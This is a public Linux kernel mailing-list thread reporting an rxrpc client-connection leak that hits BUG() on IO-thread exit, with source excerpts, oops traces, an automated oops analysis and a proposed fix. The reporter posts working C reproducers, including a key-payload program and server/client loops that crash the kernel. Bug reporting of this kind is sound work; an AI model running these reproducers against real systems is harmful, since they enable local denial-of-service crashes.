* [BUG] rxrpc: Client connection leak and BUG() call during kernel IO thread exit
@ 2026-04-01 4:19 Anderson Nascimento
2026-04-22 16:08 ` David Howells
0 siblings, 1 reply; 6+ messages in thread
From: Anderson Nascimento @ 2026-04-01 4:19 UTC (permalink / raw)
To: netdev
Cc: Anderson Nascimento, dhowells, Marc Dionne, Jakub Kicinski,
David S. Miller, Eric Dumazet, Paolo Abeni, linux-kernel,
Jeffrey Altman, Simon Horman
Hello,
I have identified a reliable way to trigger a BUG() in the RxRPC
protocol at rxrpc_destroy_client_conn_ids(). This occurs because the
kernel IO thread can exit while there are still active connection
objects registered in the local IDR (local->conn_ids).
I did a quick analysis and the result is the following. When the IO
thread exits, it calls rxrpc_destroy_local(), which in turn calls
rxrpc_clean_up_local_conns(). However, that function only iterates
over the local->idle_client_conns list. If a connection was recently
created by rxrpc_connect_client_calls() (via
rxrpc_alloc_client_connection()) but has not yet been deactivated or
moved to the idle list, it is completely missed during this cleanup
phase.
Because the connection remains in the IDR, the subsequent call to
rxrpc_destroy_client_conn_ids() finds the entry, logs an "AF_RXRPC:
Leaked client conn" error, and hits a BUG().
I can reliably reproduce this using a client and server where the
server calls close() immediately after sendmsg().
My suggestion for a fix is to update rxrpc_clean_up_local_conns() to
check the local IDR instead of just the idle list, ensuring all
allocated connections are reaped during teardown. I don't have the
time to properly test a patch or verify if the teardown for a
brand-new conn differs significantly from an idle one, so I wanted to
report my quick analysis to the maintainers. I tested on Fedora 43 on
kernel 6.18.
420 void rxrpc_destroy_local(struct rxrpc_local *local)
421 {
...
433 rxrpc_clean_up_local_conns(local);
...
451 rxrpc_purge_client_connections(local);
...
453 }
813 void rxrpc_clean_up_local_conns(struct rxrpc_local *local)
814 {
815 struct rxrpc_connection *conn;
...
823 while ((conn = list_first_entry_or_null(&local->idle_client_conns,
824 struct
rxrpc_connection, cache_link))) {
825 list_del_init(&conn->cache_link);
826 atomic_dec(&conn->active);
827 trace_rxrpc_client(conn, -1, rxrpc_client_discard);
828 rxrpc_unbundle_conn(conn);
829 rxrpc_put_connection(conn, rxrpc_conn_put_local_dead);
830 }
...
833 }
54 static void rxrpc_destroy_client_conn_ids(struct rxrpc_local *local)
55 {
56 struct rxrpc_connection *conn;
57 int id;
58
59 if (!idr_is_empty(&local->conn_ids)) {
60 idr_for_each_entry(&local->conn_ids, conn, id) {
61 pr_err("AF_RXRPC: Leaked client conn %p {%d}\n",
62 conn, refcount_read(&conn->ref));
63 }
64 BUG();
65 }
66
67 idr_destroy(&local->conn_ids);
68 }
[88656.300130] rxrpc: AF_RXRPC: Leaked client conn 00000000cf1d5a14 {1}
[88656.300702] ------------[ cut here ]------------
[88656.301099] kernel BUG at net/rxrpc/conn_client.c:64!
[88656.301442] Oops: invalid opcode: 0000 [#17] SMP NOPTI
[88656.301765] CPU: 0 UID: 0 PID: 3989526 Comm: krxrpcio/7001 Tainted:
G D W 6.18.13-200.fc43.x86_64 #1 PREEMPT(lazy)
[88656.302039] Tainted: [D]=DIE, [W]=WARN
[88656.302323] Hardware name: VMware, Inc. VMware Virtual
Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020
[88656.302599] RIP: 0010:rxrpc_purge_client_connections+0x58/0xa0 [rxrpc]
Regards,
--
Anderson Nascimento
Allele Security Intelligence
https://www.allelesecurity.com
^ permalink raw reply [flat|nested] 6+ messages in thread* Re: [BUG] rxrpc: Client connection leak and BUG() call during kernel IO thread exit 2026-04-01 4:19 [BUG] rxrpc: Client connection leak and BUG() call during kernel IO thread exit Anderson Nascimento @ 2026-04-22 16:08 ` David Howells 2026-04-22 16:18 ` Anderson Nascimento 2026-04-22 16:25 ` Anderson Nascimento 0 siblings, 2 replies; 6+ messages in thread From: David Howells @ 2026-04-22 16:08 UTC (permalink / raw) To: Anderson Nascimento Cc: dhowells, netdev, Marc Dionne, Jakub Kicinski, David S. Miller, Eric Dumazet, Paolo Abeni, linux-kernel, Jeffrey Altman, Simon Horman Do you by any chance have a reproducer program for this? David ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [BUG] rxrpc: Client connection leak and BUG() call during kernel IO thread exit 2026-04-22 16:08 ` David Howells @ 2026-04-22 16:18 ` Anderson Nascimento 2026-04-22 16:25 ` Anderson Nascimento 1 sibling, 0 replies; 6+ messages in thread From: Anderson Nascimento @ 2026-04-22 16:18 UTC (permalink / raw) To: David Howells Cc: netdev, Marc Dionne, Jakub Kicinski, David S. Miller, Eric Dumazet, Paolo Abeni, linux-kernel, Jeffrey Altman, Simon Horman Hi David, On Wed, Apr 22, 2026 at 1:08 PM David Howells <dhowells@redhat.com> wrote: > > Do you by any chance have a reproducer program for this? Yes, you can find it below. The code is not polished, but it works. > David > #include <stdio.h> #include <string.h> #include <keyutils.h> struct rxrpc_key_data_v1 { uint16_t security_index; uint16_t ticket_length; uint32_t expiry; uint32_t kvno; uint8_t session_key[8]; uint8_t ticket[]; }; #define TICKET_LENGTH 16349 int main(int argc,char *argv[]){ struct rxrpc_key_data_v1 *v1; key_serial_t key; char *key_description = "afs@2"; char payload[16384 + 4 + 100]; char ticket[16384 + 4]; char session_key[8]; unsigned int plen; uint32_t kver = 1; memset(&payload, '\0', sizeof(payload)); memset(&ticket, '\0', sizeof(ticket)); memset(&session_key, '\0', sizeof(session_key)); memcpy(&payload, &kver, sizeof(kver)); v1 = (struct rxrpc_key_data_v1 *)((char *)&payload + sizeof(kver)); v1->security_index = 2; v1->ticket_length = TICKET_LENGTH; v1->kvno = 1; memcpy(v1->session_key, session_key, sizeof(v1->session_key)); memcpy(v1->ticket, &ticket, TICKET_LENGTH); plen = sizeof(kver) + sizeof(struct rxrpc_key_data_v1) + TICKET_LENGTH; key = add_key("rxrpc", key_description, payload, plen, KEY_SPEC_PROCESS_KEYRING); keyctl(KEYCTL_READ, key, payload, 4096); return 0; } It generates the following splat. [ 123.636173] ------------[ cut here ]------------ [ 123.636176] WARNING: CPU: 2 PID: 1528 at net/rxrpc/key.c:778 rxrpc_read+0x109/0x5c0 [rxrpc] [ 123.636214] Modules linked in: fcrypt pcbc rxrpc ip6_udp_tunnel krb5 udp_tunnel rfkill nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_msr intel_rapl_common intel_uncore_frequency_common intel_pmc_core pmt_telemetry pmt_discovery pmt_class qrtr intel_pmc_ssram_telemetry intel_vsec rapl vmw_balloon sunrpc vmxnet3 i2c_piix4 i2c_smbus binfmt_misc joydev loop dm_multipath nfnetlink zram lz4hc_compress lz4_compress vmw_vsock_vmci_transport vsock vmw_vmci xfs nvme nvme_core polyval_clmulni ghash_clmulni_intel nvme_keyring vmwgfx nvme_auth hkdf drm_ttm_helper ata_generic pata_acpi ttm serio_raw scsi_dh_rdac scsi_dh_emc scsi_dh_alua i2c_dev fuse [ 123.636257] CPU: 2 UID: 1000 PID: 1528 Comm: poc Not tainted 6.18.13-200.fc43.x86_64 #1 PREEMPT(lazy) [ 123.636259] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 [ 123.636260] RIP: 0010:rxrpc_read+0x109/0x5c0 [rxrpc] [ 123.636284] Code: 03 66 83 f8 02 0f 85 5e 02 00 00 80 7b 02 00 74 9f f6 05 89 df 2a 00 04 0f 85 87 58 01 00 b8 28 00 00 00 b9 24 00 00 00 eb b1 <0f> 0b 48 c7 c0 fb ff ff ff 48 8b 54 24 40 65 48 2b 15 19 da ea c3 [ 123.636285] RSP: 0018:ffffc9000274bc70 EFLAGS: 00010202 [ 123.636287] RAX: ffff8881082e0000 RBX: ffff888104a78e20 RCX: 0000000000000000 [ 123.636288] RDX: 0000000000000000 RSI: ffff88810aeac000 RDI: ffff8881037bf1f4 [ 123.636289] RBP: 0000000000004004 R08: 0000000000001000 R09: 0000000000000001 [ 123.636289] R10: 0000000000000004 R11: ffff88810aeac000 R12: 0000000000000010 [ 123.636290] R13: ffff88810aeac000 R14: 0000000000001000 R15: ffff8881023e9f00 [ 123.636291] FS: 00007f6f8611d740(0000) GS:ffff8882af726000(0000) knlGS:0000000000000000 [ 123.636293] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 123.636293] CR2: 00007fff0bf73000 CR3: 0000000108146006 CR4: 00000000003706f0 [ 123.636312] Call Trace: [ 123.636314] <TASK> [ 123.636316] ? keyctl_read_key+0xec/0x230 [ 123.636320] keyctl_read_key+0x131/0x230 [ 123.636322] do_syscall_64+0x7e/0x7f0 [ 123.636325] ? __folio_mod_stat+0x2d/0x90 [ 123.636328] ? set_ptes.isra.0+0x36/0x80 [ 123.636329] ? do_anonymous_page+0x100/0x520 [ 123.636332] ? __handle_mm_fault+0x551/0x6a0 [ 123.636334] ? count_memcg_events+0xd6/0x220 [ 123.636337] ? handle_mm_fault+0x248/0x360 [ 123.636339] ? do_user_addr_fault+0x21a/0x690 [ 123.636341] ? clear_bhb_loop+0x50/0xa0 [ 123.636344] ? clear_bhb_loop+0x50/0xa0 [ 123.636345] ? clear_bhb_loop+0x50/0xa0 [ 123.636346] ? clear_bhb_loop+0x50/0xa0 [ 123.636347] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 123.636349] RIP: 0033:0x7f6f8621338d [ 123.636356] Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 43 5a 0f 00 f7 d8 64 89 01 48 [ 123.636357] RSP: 002b:00007fff0bf70528 EFLAGS: 00000246 ORIG_RAX: 00000000000000fa [ 123.636358] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6f8621338d [ 123.636359] RDX: 00007fff0bf74640 RSI: 000000003809ba43 RDI: 000000000000000b [ 123.636360] RBP: 00007fff0bf70600 R08: 00000000fffffffe R09: 0000003000000008 [ 123.636361] R10: 0000000000001000 R11: 0000000000000246 R12: 00007fff0bf787e8 [ 123.636362] R13: 0000000000000001 R14: 00007f6f86361000 R15: 0000000000402df0 [ 123.636364] </TASK> [ 123.636365] ---[ end trace 0000000000000000 ]--- -- Anderson Nascimento Allele Security Intelligence https://www.allelesecurity.com ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [BUG] rxrpc: Client connection leak and BUG() call during kernel IO thread exit 2026-04-22 16:08 ` David Howells 2026-04-22 16:18 ` Anderson Nascimento @ 2026-04-22 16:25 ` Anderson Nascimento 2026-04-22 16:37 ` Anderson Nascimento 1 sibling, 1 reply; 6+ messages in thread From: Anderson Nascimento @ 2026-04-22 16:25 UTC (permalink / raw) To: David Howells Cc: netdev, Marc Dionne, Jakub Kicinski, David S. Miller, Eric Dumazet, Paolo Abeni, linux-kernel, Jeffrey Altman, Simon Horman Hi David, On Wed, Apr 22, 2026 at 1:08 PM David Howells <dhowells@redhat.com> wrote: > > Do you by any chance have a reproducer program for this? > Sorry, I mixed things up and ended up sending a different reproducer. I do have it, I will test it now and send here in a few minutes. > David > -- Anderson Nascimento Allele Security Intelligence https://www.allelesecurity.com ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [BUG] rxrpc: Client connection leak and BUG() call during kernel IO thread exit 2026-04-22 16:25 ` Anderson Nascimento @ 2026-04-22 16:37 ` Anderson Nascimento 2026-04-23 14:48 ` arjan 0 siblings, 1 reply; 6+ messages in thread From: Anderson Nascimento @ 2026-04-22 16:37 UTC (permalink / raw) To: David Howells Cc: netdev, Marc Dionne, Jakub Kicinski, David S. Miller, Eric Dumazet, Paolo Abeni, linux-kernel, Jeffrey Altman, Simon Horman On Wed, Apr 22, 2026 at 1:25 PM Anderson Nascimento <anderson@allelesecurity.com> wrote: > > Hi David, > > On Wed, Apr 22, 2026 at 1:08 PM David Howells <dhowells@redhat.com> wrote: > > > > Do you by any chance have a reproducer program for this? > > > > Sorry, I mixed things up and ended up sending a different reproducer. > I do have it, I will test it now and send here in a few minutes. You can find the reproducers below. I run them simultaneously in a bash while loop on two different SSH shells. I can trigger running only one server and one client, but when I discovered the bug I was running 2 servers and 2 clients simultaneously. You can try both, and here it doesn't take long to trigger it. My virtual machine is configured to have 4 cores. while true; do ./server; done while true; do ./client; done server.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <arpa/inet.h> #include <linux/rxrpc.h> #include <pthread.h> #define RXRPC_ADD_CHARGE_ACCEPT(control, ctrllen) \ do { \ struct cmsghdr *__cmsg; \ __cmsg = (void *)(control) + (ctrllen); \ __cmsg->cmsg_len = CMSG_LEN(0); \ __cmsg->cmsg_level = SOL_RXRPC; \ __cmsg->cmsg_type = RXRPC_CHARGE_ACCEPT; \ (ctrllen) += __cmsg->cmsg_len; \ \ } while (0) int sk; void *__close(void *a){ close(sk); return NULL; } int main(void){ struct sockaddr_rxrpc sockaddr_rxrpc_server; struct msghdr msg; struct iovec iov; char buffer_msg_control[4096]; size_t control_len = 0; pthread_t th[2]; memset(&sockaddr_rxrpc_server,'\0',sizeof(sockaddr_rxrpc_server)); memset(&buffer_msg_control,'\0',sizeof(buffer_msg_control)); memset(&msg,'\0',sizeof(msg)); memset(&iov,'\0',sizeof(iov)); sk = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); sockaddr_rxrpc_server.srx_family = AF_RXRPC; sockaddr_rxrpc_server.srx_service = 1234; sockaddr_rxrpc_server.transport_type = SOCK_DGRAM; sockaddr_rxrpc_server.transport_len = sizeof(sockaddr_rxrpc_server.transport.sin); sockaddr_rxrpc_server.transport.family = AF_INET; sockaddr_rxrpc_server.transport.sin.sin_port = htons(7000); bind(sk, (struct sockaddr *)&sockaddr_rxrpc_server, sizeof(sockaddr_rxrpc_server)); listen(sk,10); RXRPC_ADD_CHARGE_ACCEPT(buffer_msg_control, control_len); msg.msg_control = buffer_msg_control; msg.msg_controllen = control_len; sendmsg(sk, &msg, 0); pthread_create(&th[0],NULL,&__close,NULL); pthread_join(th[0],NULL); return 0; } client.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> #include <linux/rxrpc.h> static const unsigned char local_addr[4] = { 127, 0, 0, 1 }; #define RXRPC_ADD_CALLID(control, ctrllen, id) \ do { \ struct cmsghdr *__cmsg; \ __cmsg = (void *)(control) + (ctrllen); \ __cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); \ __cmsg->cmsg_level = SOL_RXRPC; \ __cmsg->cmsg_type = RXRPC_USER_CALL_ID; \ *(unsigned long *)CMSG_DATA(__cmsg) = (id); \ (ctrllen) += __cmsg->cmsg_len; \ \ } while (0) int main(void){ struct msghdr msg; struct sockaddr_rxrpc sockaddr_rxrpc_local; struct sockaddr_rxrpc sockaddr_rxrpc_client; char buffer_msg_control[4096]; size_t control_len; int sk; memset(&sockaddr_rxrpc_local,'\0',sizeof(sockaddr_rxrpc_local)); memset(&sockaddr_rxrpc_client,'\0',sizeof(sockaddr_rxrpc_client)); memset(&buffer_msg_control,'\0',sizeof(buffer_msg_control)); memset(&msg,'\0',sizeof(msg)); sk = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); sockaddr_rxrpc_local.srx_family = AF_RXRPC; sockaddr_rxrpc_local.srx_service = 0; sockaddr_rxrpc_local.transport_type = SOCK_DGRAM; sockaddr_rxrpc_local.transport_len = sizeof(sockaddr_rxrpc_local.transport.sin); sockaddr_rxrpc_local.transport.family = AF_INET; sockaddr_rxrpc_local.transport.sin.sin_port = htons(7001); memcpy(&sockaddr_rxrpc_local.transport.sin.sin_addr, &local_addr, 4); bind(sk, (struct sockaddr *)&sockaddr_rxrpc_local, sizeof(sockaddr_rxrpc_local)); sockaddr_rxrpc_client.srx_family = AF_RXRPC; sockaddr_rxrpc_client.srx_service = 1234; sockaddr_rxrpc_client.transport_type = SOCK_DGRAM; sockaddr_rxrpc_client.transport_len = sizeof(sockaddr_rxrpc_client.transport.sin); sockaddr_rxrpc_client.transport.family = AF_INET; sockaddr_rxrpc_client.transport.sin.sin_port = htons(7000); memcpy(&sockaddr_rxrpc_client.transport.sin.sin_addr, &local_addr, 4); connect(sk, (struct sockaddr *)&sockaddr_rxrpc_client, sizeof(sockaddr_rxrpc_client)); control_len = 0; RXRPC_ADD_CALLID(buffer_msg_control, control_len, 0x1234); msg.msg_control = buffer_msg_control; msg.msg_controllen = control_len; sendmsg(sk, &msg, 0); return 0; } The report I have just triggered. [ 473.601077] rxrpc: AF_RXRPC: Leaked client conn 00000000bf02a6a7 {1} [ 473.601115] ------------[ cut here ]------------ [ 473.601117] kernel BUG at net/rxrpc/conn_client.c:64! [ 473.601169] Oops: invalid opcode: 0000 [#1] SMP NOPTI [ 473.601180] CPU: 0 UID: 0 PID: 1107239 Comm: krxrpcio/7001 Not tainted 6.18.13-200.fc43.x86_64 #1 PREEMPT(lazy) [ 473.601193] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 [ 473.601205] RIP: 0010:rxrpc_purge_client_connections+0x58/0xa0 [rxrpc] [ 473.601261] Code: 28 01 00 00 00 74 25 31 c0 48 8d 74 24 0c 48 89 cf 89 44 24 0c 48 89 0c 24 e8 d4 ec c2 c1 48 89 c6 48 85 c0 0f 85 49 dd 01 00 <0f> 0b 31 f6 48 89 cf 48 89 0c 24 e8 c8 aa c4 c1 48 8b 0c 24 85 c0 [ 473.601280] RSP: 0018:ffffc900159cfdd8 EFLAGS: 00010246 [ 473.601288] RAX: 0000000000000000 RBX: ffff88810a6b4800 RCX: 0000000000000000 [ 473.601297] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff88810a6b4920 [ 473.601305] RBP: ffff888123398000 R08: ffffc900159cfdb8 R09: ffff88810a6b4928 [ 473.601313] R10: 0000000000000018 R11: 0000000040000000 R12: ffff88810a9cda00 [ 473.601322] R13: ffff88810a6b4800 R14: ffffc900159cfe70 R15: ffff88812d0c2800 [ 473.601330] FS: 0000000000000000(0000) GS:ffff8882af626000(0000) knlGS:0000000000000000 [ 473.601339] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 473.601347] CR2: 00007faf20630030 CR3: 000000000382e002 CR4: 00000000003706f0 [ 473.601380] Call Trace: [ 473.601387] <TASK> [ 473.601393] rxrpc_destroy_local+0xc9/0xe0 [rxrpc] [ 473.601443] rxrpc_io_thread+0x65d/0x750 [rxrpc] [ 473.601487] ? __pfx_rxrpc_io_thread+0x10/0x10 [rxrpc] [ 473.601527] kthread+0xfc/0x240 [ 473.601536] ? __pfx_kthread+0x10/0x10 [ 473.601542] ret_from_fork+0xf4/0x110 [ 473.601550] ? __pfx_kthread+0x10/0x10 [ 473.601558] ret_from_fork_asm+0x1a/0x30 [ 473.601574] </TASK> [ 473.601578] Modules linked in: vsock_diag fcrypt pcbc rxrpc ip6_udp_tunnel krb5 udp_tunnel rfkill nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_msr intel_rapl_common intel_uncore_frequency_common intel_pmc_core pmt_telemetry pmt_discovery pmt_class intel_pmc_ssram_telemetry intel_vsec rapl vmw_balloon sunrpc qrtr vmxnet3 i2c_piix4 i2c_smbus binfmt_misc joydev loop dm_multipath nfnetlink zram lz4hc_compress lz4_compress vmw_vsock_vmci_transport vsock vmw_vmci xfs nvme nvme_core nvme_keyring polyval_clmulni ghash_clmulni_intel nvme_auth vmwgfx hkdf drm_ttm_helper ata_generic ttm pata_acpi serio_raw scsi_dh_rdac scsi_dh_emc scsi_dh_alua i2c_dev fuse [ 473.601690] ---[ end trace 0000000000000000 ]--- [ 473.601698] RIP: 0010:rxrpc_purge_client_connections+0x58/0xa0 [rxrpc] [ 473.601794] Code: 28 01 00 00 00 74 25 31 c0 48 8d 74 24 0c 48 89 cf 89 44 24 0c 48 89 0c 24 e8 d4 ec c2 c1 48 89 c6 48 85 c0 0f 85 49 dd 01 00 <0f> 0b 31 f6 48 89 cf 48 89 0c 24 e8 c8 aa c4 c1 48 8b 0c 24 85 c0 [ 473.601813] RSP: 0018:ffffc900159cfdd8 EFLAGS: 00010246 [ 473.601820] RAX: 0000000000000000 RBX: ffff88810a6b4800 RCX: 0000000000000000 [ 473.601829] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff88810a6b4920 [ 473.601837] RBP: ffff888123398000 R08: ffffc900159cfdb8 R09: ffff88810a6b4928 [ 473.601845] R10: 0000000000000018 R11: 0000000040000000 R12: ffff88810a9cda00 [ 473.602211] R13: ffff88810a6b4800 R14: ffffc900159cfe70 R15: ffff88812d0c2800 [ 473.602599] FS: 0000000000000000(0000) GS:ffff8882af626000(0000) knlGS:0000000000000000 [ 473.603301] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 473.604869] CR2: 00007faf20630030 CR3: 000000000382e002 CR4: 00000000003706f0 Best regards, -- Anderson Nascimento Allele Security Intelligence https://www.allelesecurity.com ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [BUG] rxrpc: Client connection leak and BUG() call during kernel IO thread exit 2026-04-22 16:37 ` Anderson Nascimento @ 2026-04-23 14:48 ` arjan 0 siblings, 0 replies; 6+ messages in thread From: arjan @ 2026-04-23 14:48 UTC (permalink / raw) To: netdev Cc: anderson, dhowells, marc.dionne, kuba, pabeni, linux-kernel, jaltman, horms, Arjan van de Ven From: Arjan van de Ven <arjan@linux.intel.com> This email is created by automation to help kernel developers deal with a large volume of AI generated bug reports by decoding oopses into more actionable information. Decoded Backtrace --- rxrpc_destroy_client_conn_ids (inlined into rxrpc_purge_client_connections) Source: net/rxrpc/conn_client.c 54 static void rxrpc_destroy_client_conn_ids(struct rxrpc_local *local) 55 { 56 struct rxrpc_connection *conn; 57 int id; 58 59 if (!idr_is_empty(&local->conn_ids)) { 60 idr_for_each_entry(&local->conn_ids, conn, id) { 61 pr_err("AF_RXRPC: Leaked client conn %p {%d}\n", 62 conn, refcount_read(&conn->ref)); 63 } 64 BUG(); // <- crash here 65 } 66 67 idr_destroy(&local->conn_ids); 68 } --- rxrpc_destroy_local Source: net/rxrpc/local_object.c 420 void rxrpc_destroy_local(struct rxrpc_local *local) 421 { 422 struct socket *socket = local->socket; 423 struct rxrpc_net *rxnet = local->rxnet; ... 427 local->dead = true; ... 433 rxrpc_clean_up_local_conns(local); 434 rxrpc_service_connection_reaper(&rxnet->service_conn_reaper); 435 ASSERT(!local->service); ... 450 rxrpc_purge_queue(&local->rx_queue); 451 rxrpc_purge_client_connections(local); // <- call here 452 page_frag_cache_drain(&local->tx_alloc); 453 } --- rxrpc_io_thread Source: net/rxrpc/io_thread.c 554 if (!list_empty(&local->new_client_calls)) 555 rxrpc_connect_client_calls(local); ... 569 if (should_stop) 570 break; ... 596 __set_current_state(TASK_RUNNING); 598 rxrpc_destroy_local(local); // <- call here 601 return 0; Tentative Analysis The crash fires the unconditional BUG() at net/rxrpc/conn_client.c:64 because local->conn_ids is non-empty when rxrpc_destroy_local() is called by the krxrpcio I/O thread during socket teardown. When a client sendmsg() queues a call, the I/O thread picks it up via rxrpc_connect_client_calls(). That function allocates a client connection (rxrpc_alloc_client_connection()), registers it in the local->conn_ids IDR with refcount=1, stores it in bundle->conns[], and moves the call from new_client_calls to bundle->waiting_calls. Once new_client_calls is empty and kthread_should_stop() is true, the I/O thread exits its loop and calls rxrpc_destroy_local(). Inside that function, rxrpc_clean_up_local_conns() iterates only the local->idle_client_conns list. A connection that is in bundle->conns[] but has never been activated on a channel (and thus never went idle) is completely missed. rxrpc_purge_client_connections() then finds the connection still registered in conn_ids and fires BUG(). The coverage gap was introduced by commit 9d35d880e0e4 ("rxrpc: Move client call connection to the I/O thread"), which created a new "allocated in bundle, not yet idle" state for connections that the existing idle-list cleanup does not handle. Note: fc9de52de38f ("rxrpc: Fix missing locking causing hanging calls"), already present in 6.18.13, fixes a related missing-lock bug in the same code area but does not address this idle-list coverage gap. Potential Solution rxrpc_clean_up_local_conns() should be extended to also release connections stored in bundle->conns[] that have not yet appeared on idle_client_conns. After the existing idle-list loop, the function should iterate over all entries in local->client_bundles (the RB-tree of active bundles), call rxrpc_unbundle_conn() on each occupied bundle->conns[] slot, and put the connection. This ensures rxrpc_destroy_client_conn_ids() always finds an empty IDR. More information Oops-Analysis: http://oops.fenrus.org/reports/lkml/CAPhRvkyZGKHRTBhV3P2PCCRxmRKGEvJQ0W5a9SMW3qwS2hp2Qw/ Assisted-by: GitHub-Copilot:claude-sonnet-4.6 linux-kernel-oops-x86. ^ permalink raw reply [flat|nested] 6+ messages in thread
end of thread, other threads:[~2026-04-23 14:46 UTC | newest] Thread overview: 6+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-04-01 4:19 [BUG] rxrpc: Client connection leak and BUG() call during kernel IO thread exit Anderson Nascimento 2026-04-22 16:08 ` David Howells 2026-04-22 16:18 ` Anderson Nascimento 2026-04-22 16:25 ` Anderson Nascimento 2026-04-22 16:37 ` Anderson Nascimento 2026-04-23 14:48 ` arjan
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox